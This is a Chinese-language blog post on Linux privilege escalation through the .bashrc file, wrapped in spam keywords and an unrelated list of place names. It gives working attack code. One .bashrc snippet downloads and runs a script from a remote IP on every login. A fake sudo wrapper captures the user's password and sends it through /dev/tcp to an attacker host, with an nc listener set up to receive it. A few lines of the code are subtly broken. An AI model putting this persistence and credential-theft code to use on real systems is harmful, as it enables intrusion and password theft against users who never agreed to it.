最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網 會員登陸 & 注冊

利用文件.bashrc提權

2023-02-17 17:18 作者:KHDXS7  | 我要投稿

文件.bashrc是一個位于用戶主目錄的隱藏文件,用于存儲用戶的個性化設置。。

文件名末尾的 rc 最初是 ‘run commands’ 的縮寫。但現(xiàn)在許多人認為當作‘run control’的縮寫更合適。

我們可以在里面設置環(huán)境路徑、程序的別名、運行提示符等。該文件在生成交互式BASH SHELL的時候會被讀取。因此,我們也可以在該文件中執(zhí)行一些初始化的程序。

一、用來執(zhí)行命令

我們在文件.bashrc中添加如下命令:

echo "I'm tirggered."

當用戶登錄的時候就會觸發(fā)該命令,并顯示這行文字。當然,在生成新的bash SHELL時,該命令同樣會被觸發(fā)。

二、用來執(zhí)行程序

既然如此,我們在滲透進系統(tǒng)之后也可以利用該特性執(zhí)行一些命令。接下來我們利用該特性,讓用戶在登錄的時候從遠程下載程序并執(zhí)行。

  • 首先在遠程的服務器中準備一個文件rainbow.sh。并啟動python3http服務器模塊。將該服務運行于端口8888。

    python3 -m http.server 8888

  • 在靶機的.bashrc文件中添加以下命令,用以將遠程服務器中的程序下載、賦權、執(zhí)行。

if [ -x '/usr/bin/curl' ]

then

? ? echo "curl is installed."

? ? curl http://106.54.85.100:8888/rainbow.sh >? /tmp/rainbow.sh 2>/dev/null

? ? if [ -s '/tmp/rainbow.sh' ]

? ? then

? ? ? ? chmod +x /tmp/rainbow.sh && /tmp/rainbow.sh --rainbow "Program is running."

? ? fi

fi

用戶在登錄或者在生成新的BASH SHELL時,會觸發(fā)該命令。

  • 首先判斷程序curl是否存在。

  • curl存在的話,調用curl命令從遠程服務器中下載設置好的程序。

  • 下載之后對其賦予執(zhí)行權限并執(zhí)行。

三、用來獲取sudo密碼

既然我們可以讓用戶在登錄的時候從遠程下載程序并運行。我們就可以把這個程序替換為一個假的sudo命令,用來獲取sudo密碼。

  • 首先我們需要在遠程服務器中準備一個假的sudo程序。具體思路是設計一個程序作為中間人,獲取sudo密碼并轉述命令。代碼如下:

#!/bin/bash


/usr/bin/sudo -n true 2> /dev/null

if test $? -eq 0?

then

? ? /usr/bin/sudo $@

else

? ? echo -n "[sudo] password for $USER: "

? ? read -s pwd

? ? echo

? ? echo "$pwd" | /usr/bin/sudo -S true 2> /dev/null


? ? if test $? -eq 1?

? ? then

? ? ? ? distroName=$(awk -F= '/^NAME/{print tolower($2)}' /etc/*-release? | tr -d '"')

? ? ? ? if test[ $distroName == *"centos"* || $distroName == *"red hat"* ]

? ? ? ? then

? ? ? ? ? ? echo "Sorry, try again."

? ? ? ? fi

? ? ? ? sudo $@

? ? else

? ? ? ? if test -x /usr/bin/curl?

? ? ? ? then

? ? ? ? ? ? echo -e "sudo password is $pwd" > /dev/tcp/khdxs7.server/8889

? ? ? ? fi

? ? ? ? echo "$pwd" | /usr/bin/sudo -S $@

? ? fi

fi

  • 在遠程服務器監(jiān)聽端口8889,用以接收獲得的密碼。

    nc -lvnp 8889

  • 在靶機.bashrc文件中添加以下命令。

if [ -x '/usr/bin/curl' ]

then

? ? curl http://khdxs7.server:8888/sudo >/tmp/sudo 2>/dev/null

? ? if [ -s '/tmp/sudo' ]

? ? then

? ? ? ? chmod +x /tmp/sudo && export PATH=/tmp:$PATH

? ? else

? ? ? ? rm -f /tmp/sudo

? ? fi

fi

  • 用戶在登錄或者在生成新的BASH SHELL時,會觸發(fā)該命令。

    • 首先判斷程序curl是否存在。

    • curl存在的話,調用curl命令從遠程服務器中下載設置好的程序。

    • 判斷是否下載成功(檢查文件是否存在且至少有一個字符)。

    • 下載成功之后對其賦予執(zhí)行權限并執(zhí)行。

    • 將假的sudo程序添加到路徑中。

這樣一來,只要用戶登錄或者生成新的BASH SHELLsudo程序就會被替換。用戶一旦使用sudo來執(zhí)行命令,密碼就會被發(fā)送到服務器的8889端口。

KHDXS7


利用文件.bashrc提權的評論 (共 條)

分享到微博請遵守國家法律
大荔县| 邹平县| 西盟| 临西县| 曲阳县| 桃江县| 蒲江县| 江北区| 东源县| 全南县| 巴林右旗| 习水县| 西畴县| 四川省| 诏安县| 西林县| 垦利县| 桂东县| 普兰店市| 甘洛县| 台前县| 榆社县| 翼城县| 宁安市| 阿尔山市| 苏尼特左旗| 苍梧县| 讷河市| 任丘市| 密云县| 沿河| 会泽县| 海林市| 肥东县| 吴江市| 内丘县| 河间市| 隆林| 喜德县| 高雄市| 永兴县|